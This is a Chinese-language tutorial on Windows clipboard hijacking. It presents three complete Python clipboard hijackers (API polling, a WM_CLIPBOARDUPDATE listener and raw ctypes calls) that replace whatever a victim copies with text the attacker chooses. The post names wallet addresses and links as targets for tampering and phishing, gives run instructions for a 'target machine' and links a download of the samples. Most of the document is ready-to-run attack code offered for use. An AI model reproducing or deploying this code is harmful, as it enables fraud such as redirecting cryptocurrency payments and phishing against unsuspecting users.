Windows下多种剪切板劫持方式与原理详解

Windows下多种剪切板劫持方式与原理详解

_

描述简介

  • 剪切板劫持指的是通过监听目标设备上的复制内容,并将其自动替换为攻击者指定的内容,例如钱包地址、链接等敏感信息,从而实现数据篡改和钓鱼效果。

  • 本文归纳了Windows平台下常见的多种剪切板劫持技术

序号

项类别

1.

API轮询监听方式

2.

WM_CLIPBOARDUPDATE事件驱动监听方式

3.

AutoHotkey批量劫持方式

原理与实现

  • API轮询监听方式

原理:
通过定时轮询调用 Windows 剪切板API,周期性检测剪切板内容有无变化。一旦检测到内容发生更改且不是目标内容,即刻将剪切板内容自动替换为指定文本。

import win32con
import win32clipboard
import time

def get_clipboard_text():
    win32clipboard.OpenClipboard()
    try:
        data = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
        return data
    except Exception:
        return ''
    finally:
        win32clipboard.CloseClipboard()

def set_clipboard_text(text):
    win32clipboard.OpenClipboard()
    win32clipboard.EmptyClipboard()
    win32clipboard.SetClipboardText(text, win32con.CF_UNICODETEXT)
    win32clipboard.CloseClipboard()

last_data = ""
hijack_content = "七度光 qdg.tw"
while True:
    data = get_clipboard_text()
    if data != last_data and data != hijack_content and data != "":
        set_clipboard_text(hijack_content)
        print(f"源内容: {data} | 劫持后的内容: {hijack_content}")
        last_data = hijack_content
    elif data != last_data and data != "":
        last_data = data
    time.sleep(0.5)

  • WM_CLIPBOARDUPDATE事件驱动监听方式

原理:
注册窗口消息 WM_CLIPBOARDUPDATE,一旦操作系统检测到剪切板内容变化,会自动发送事件通知。程序在收到事件时即刻执行内容替换。

import win32con
import win32gui
import win32clipboard

hijack_content = "七度光 qdg.tw"

class ClipboardListener:
    def __init__(self):
        wc = win32gui.WNDCLASS()
        wc.lpszClassName = 'ClipboardListener'
        wc.lpfnWndProc = self.wnd_proc
        wc.hInstance = win32gui.GetModuleHandle(None)
        classAtom = win32gui.RegisterClass(wc)
        self.hwnd = win32gui.CreateWindow(classAtom, 'ClipboardListener', 0, 0, 0, 0, 0, 0, 0, wc.hInstance, None)
        win32gui.AddClipboardFormatListener(self.hwnd)

    def wnd_proc(self, hwnd, msg, wparam, lparam):
        if msg == win32con.WM_CLIPBOARDUPDATE:
            win32clipboard.OpenClipboard()
            try:
                data = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
                if data != hijack_content and data != "":
                    win32clipboard.EmptyClipboard()
                    win32clipboard.SetClipboardText(hijack_content, win32con.CF_UNICODETEXT)
                    print(f"源内容: {data} | 劫持后的内容: {hijack_content}")
            except Exception:
                pass
            finally:
                win32clipboard.CloseClipboard()
        elif msg == win32con.WM_DESTROY:
            win32gui.PostQuitMessage(0)
        return win32gui.DefWindowProc(hwnd, msg, wparam, lparam)

if __name__ == '__main__':
    listener = ClipboardListener()
    win32gui.PumpMessages()
  • AutoHotkey批量劫持方式

原理:
模拟AutoHotkey等自动化脚本,通过批量条件判断和底层调用,实现自定义规则下的内容批量替换。

import time
import ctypes
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
hijack_content = "七度光 qdg.tw"

CF_UNICODETEXT = 13
GMEM_DDESHARE = 0x2000

last_data = ""
def get_clipboard_text():
    user32.OpenClipboard(0)
    handle = user32.GetClipboardData(CF_UNICODETEXT)
    if handle:
        ptr = kernel32.GlobalLock(handle)
        if ptr:
            data = ctypes.wstring_at(ptr)
            kernel32.GlobalUnlock(handle)
            user32.CloseClipboard()
            return data
    user32.CloseClipboard()
    return ""
def set_clipboard_text(text):
    user32.OpenClipboard(0)
    user32.EmptyClipboard()
    hglb = kernel32.GlobalAlloc(GMEM_DDESHARE, (len(text) + 1) * 2)
    ptr = kernel32.GlobalLock(hglb)
    ctypes.memmove(ptr, ctypes.create_unicode_buffer(text), (len(text) + 1) * 2)
    kernel32.GlobalUnlock(hglb)
    user32.SetClipboardData(CF_UNICODETEXT, hglb)
    user32.CloseClipboard()

while True:
    data = get_clipboard_text()
    if data != last_data and data != hijack_content and data != "":
        set_clipboard_text(hijack_content)
        print(f"源内容: {data} | 劫持后的内容: {hijack_content}")
        last_data = hijack_content
    elif data != last_data and data != "":
        last_data = data
    time.sleep(0.5)

使用方法

测试环境

项类别

详细内容

目标机系统

Windows 10/11 建议10(2019+)

目标机环境

python 3.x

hijack_content = "这里替换成你的内容"

然后运行 py 文件名 在随便复制点东西 看到输出结果 替换成了你的 就是成功

成功输出效果 
源肉容:已经很强大了,有了内核头,可以随便编译来丨劫持后的内容:七度光 qdg.tw

事例下载

网盘

链接

mega

https://mega.nz/file/6OogkI4B#00gUqmTm-5linpz9Ybzof4iEKpsilgr9sGmB4td3lJU

思源笔记 MCP 未授权管理员接管 2026-08-03
零门槛拿 ROOT:SonicWall SMA1000 双零日漏洞链 2026-08-08